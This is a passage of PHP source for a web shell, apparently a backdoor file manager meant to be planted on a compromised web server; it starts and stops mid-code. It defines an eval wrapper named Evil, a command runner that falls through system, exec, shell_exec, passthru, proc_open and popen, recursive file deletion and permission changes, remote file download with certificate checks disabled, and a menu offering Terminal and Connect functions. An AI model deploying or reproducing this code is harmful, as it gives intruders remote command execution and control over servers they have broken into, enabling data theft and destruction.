if(document.getElementsByName('chk[]')[i].checked){
document.getElementById(id).innerHTML=count++;
}else{document.getElementById(id).innerHTML=count-1;}}
}
function mapSwitch(id,id2){
var a=document.getElementById(id);
var b=document.getElementById(id2);
if(a.style.display=='inline-block'){
a.style.display='none';
b.style.display='inline-block';
}else{a.style.display='inline-block';
b.style.display='none';}
}
function getParameter(p) {
var searchString=window.location.search.substring(1),
i,val,params=searchString.split("&");
for(i=0;i<params.length;i++){
val=params[i].split("=");
if(val[0]==p){
return val[1];}}
return null;
}
</script>
</head>
<body>
<div id="wrapper"><?php
$cur=any("c",$_SESSION)?urld($_SESSION['c']):getcwd();
$dir=any("d",$_REQUEST)?urld($_REQUEST['d']):$cur;
$map=any("r",$_REQUEST)?dirname(urld($_REQUEST['r'])):$dir;
function Unix()
{
return(strtolower(substr(PHP_OS,0,3))!="win");
}
function Evil($x,$y=false)
{
$c=$y==true?"?>".$x."<?php ":$x;
$evil=@eval($c);
if(error_get_last())
{
print "\n[Error] ";
return print_r(error_get_last());
}
return $evil;
}
function Execute($x)
{
$x=$x.' 2>&1';
if(!is_null($backtic=`$x`))
{
return $backtic;
}
elseif(function_exists('system'))
{
ob_start();
$system=system($x);
$buff=ob_get_contents();
ob_end_clean();
return $buff;
}
elseif(function_exists('exec'))
{
$buff="";
exec($x,$results);
foreach($results as $result)
{
$buff.=$result;
}
return $buff;
}
elseif(function_exists('shell_exec'))
{
$buff=shell_exec($x);
return $buff;
}
elseif(function_exists('pcntl_exec'))
{
$buff=pcntl_exec($x);
return $buff;
}
elseif(function_exists('passthru'))
{
ob_start();
$passthru=passthru($x);
$buff=ob_get_contents();
ob_end_clean();
return $buff;
}
elseif(function_exists('proc_open'))
{
$proc=proc_open($x,array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),$pipes);
$buff=stream_get_contents($pipes[1]);
return $buff;
}
elseif(function_exists('popen'))
{
$buff="";
$pop=popen($x,"r");
while(!feof($pop))
{
$buff.=fread($pop,1024);
}
pclose($pop);
return $buff;
}
return "R.I.P Command";
}
function Remove($x)
{
if(is_dir($x))
{
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
Remove($x._.$f);
}
}
closedir($h);
}
return rmdir($x);
}
elseif(is_file($x))
{
return unlink($x);
}
return false;
}
function ChmodRecursive($x,$y)
{
if(is_dir($x))
{
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
ChmodRecursive($x._.$f);
}
}
closedir($h);
}
return chmod($x,$y);
}
elseif(is_file($x))
{
return chmod($x,$y);
}
return false;
}
function CopyRecursive($x,$y)
{
if(is_dir($x))
{
@mkdir($y);
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
CopyRecursive($x._.$f,$y._.$f);
}
}
closedir($h);
}
return true;
}
elseif(is_file($x))
{
return copy($x,$y);
}
return false;
}
function MoveRecursive($x,$y)
{
if(is_dir($x))
{
@mkdir($y);
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
MoveRecursive($x._.$f,$y._.$f);
}
}
closedir($h);
}
return Remove($x);
}
elseif(is_file($x))
{
if(copy($x,$y))
{
return unlink($x);
}
}
return false;
}
function GetDownloadUrl($x,$y)
{
global $agent;
$fl=fopen($y,"w");
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_FILE,$fl);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$rs=curl_exec($ch);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
fclose($fl);
return true;
}
function GetUrlExists($x)
{
global $agent;
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_TIMEOUT,5);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$rs=curl_exec($ch);
$http=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
return ($http>=200 && $http<300);
}
function GetUrlContent($x)
{
global $agent;
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$rs=curl_exec($ch);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
return $rs;
}
function GetUrlFromPath($x)
{
$fix_path=str_replace(_,'/',$x);
$protocol=empty($_SERVER['HTTPS'])||$_SERVER['HTTPS']==='off'?'http://':'https://';
$path=str_replace(document_root,'',$fix_path);
return $protocol.server_name.$path;
}
function PostUrlContent($url,$content)
{
global $agent;
$params=array(
'http' => array(
'method' => "POST",
'header' => "Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: $agent\r\n",
'content' => http_build_query($content)
)
);
$results="";
$context=stream_context_create($params);
$header=get_headers($url);
if($http=substr($header[0],9,3) != "200")
{
$results="Error: $http";
}
else
{
//file_get_contents
if($contents=file_get_contents($url,null,$context))
{
$results=htmlspecialchars($contents);
}
//stream_get_contents
if($handle=fopen($url,'r',false,$context))
{
$contents=stream_get_contents($handle);
fclose($handle);
$results=htmlspecialchars($contents);
}
//fopen
if($handle=fopen($url,'r',false,$context))
{
$contents="";
while(!feof($handle))
{
$contents.=fread($handle,10240);
}
fclose($handle);
$results=htmlspecialchars($contents);
}
}
return $results;
}
function GetFileType($x)
{
if(is_file($x))
{
return pathinfo($x)['extension'];
}
elseif(is_dir($x))
{
return "dir";
}
elseif(is_link($x))
{
return "link";
}
else
{
return "-";
}
}
function GetFileTime($x,$y)
{
switch($y)
{
case "create":return date("Y-m-d H:i:s",@filectime($x));break;
case "modify":return date("Y-m-d H:i:s",@filemtime($x));break;
case "access":return date("Y-m-d H:i:s",@fileatime($x));break;
}
}
function GetFilePerm($x)
{
$perms=@fileperms($x);
switch ($perms & 0xF000)
{case 0xC000:$info='s';break;case 0xA000:$info='l';break;
case 0x8000:$info='r';break;case 0x6000:$info='b';break;
case 0x4000:$info='d';break;case 0x2000:$info='c';break;
case 0x1000:$info='p';break;default:$info='u';}
$info .=(($perms & 0x0100)?'r':'-');$info .=(($perms & 0x0080)?'w':'-');
$info .=(($perms & 0x0040)?(($perms & 0x0800)?'s':'x' ):(($perms & 0x0800)?'S':'-'));
$info .=(($perms & 0x0020)?'r':'-');$info .=(($perms & 0x0010)?'w':'-');
$info .=(($perms & 0x0008)?(($perms & 0x0400)?'s':'x' ):(($perms & 0x0400)?'S':'-'));
$info .=(($perms & 0x0004)?'r':'-');$info .=(($perms & 0x0002)?'w':'-');
$info .=(($perms & 0x0001)?(($perms & 0x0200)?'t':'x' ):(($perms & 0x0200)?'T':'-'));
return sprintf('%s [%s]',$info,substr(decoct($perms),2));
}
function GetFileSize($x)
{
$x=abs($x);
$size=array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
$exp=$x?floor(log($x)/log(1024)):0;
return sprintf('%.2f '.$size[$exp],($x/pow(1024,floor($exp))));
}
function GetUser($x)
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$uid=posix_getpwuid(posix_getuid());
$gid=posix_getgrgid(posix_getgid());
switch($x)
{
case 'usr':return $uid['name'];break;
case 'uid':return $uid['uid'];break;
case 'grp':return $gid['name'];break;
case 'gid':return $gid['gid'];break;
}
}
else
{
switch($x)
{
case 'usr':return get_current_user();break;
case 'uid':return getmyuid();break;
case 'grp':return "?";break;
case 'gid':return getmygid();break;
}
}
}
function GetOwnerGroup($x)
{
if(Unix())
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$user=posix_getpwuid(fileowner($x));
$group=posix_getgrgid(filegroup($x));
return sprintf('%s:%s',$user['name'],$group['name']);
}
}
return "?:?";
}
function GetFileOwnerGroup($x)
{
if(Unix())
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$user=posix_getpwuid(fileowner($x));
$group=posix_getgrgid(filegroup($x));
return sprintf('%s:%s/%s:%s',$user['name'],$user['uid'],$group['name'],$group['gid']);
}
}
return "?:?/?:?";
}
function GetSafeMode()
{
if(strtolower(ini_get("safe_mode"))=='on')
{
$safemod="<font class='off'>ON</font>";
}
else
{
$safemod="<font class='on'>OFF</font>";
}
return $safemod;
}
function MapDirectory($x)
{
$map="";
$d=str_replace("\\",_,$x);
if(empty($d))
{
$d=realpath(".");
}
elseif(realpath($d))
{
$d=realpath($d);
}
$d=str_replace("\\",_,$d);
if(substr($d,-1)!=_)
{
$d.=_;
}
$d=str_replace("\\\\","\\",$d);
$pd=$e=explode(_,substr($d,0,-1));
$i=0;
foreach($pd as $b)
{
$t="";
$j=0;
foreach($e as $r)
{
$t.=$r._;
if($j==$i)
{
break;
}
$j++;
}
$map.="<a href=\"?d=".urle($t)."\" >".htmlspecialchars($b)."</a>"._;
$i++;
}
return rtrim($map,_);
}
function MapDrive($x)
{
if(!Unix())
{
$v=explode("\\",$x);
$v=$v[0];
$l="";
foreach(range("A","Z") as $lt)
{
$drive=is_dir($lt.":\\");
if($drive)
{
$l.="<a href=\"?d=".urle($lt.":\\")."\">[";
if(strtolower($lt.':')!=strtolower($v))
{
$l.=$lt;
}
else
{
$l.="<font color=\"orange\"><b>".$lt."</b></font>";
}
$l.="]</a>";
}
}
return $l;
}
}
function MainMenu()
{
$menu=array(
"ExpL" => "?d=".urle(getcwd()),
"★ Sec." => "?x=secure",
"Info" => "?x=info",
"Database" => "?x=db",
"Terminal" => "?x=terminal",
"Connect" => "?x=connect",
".Htaccess" => "?x=htaccess",
"PHP" => "?x=php",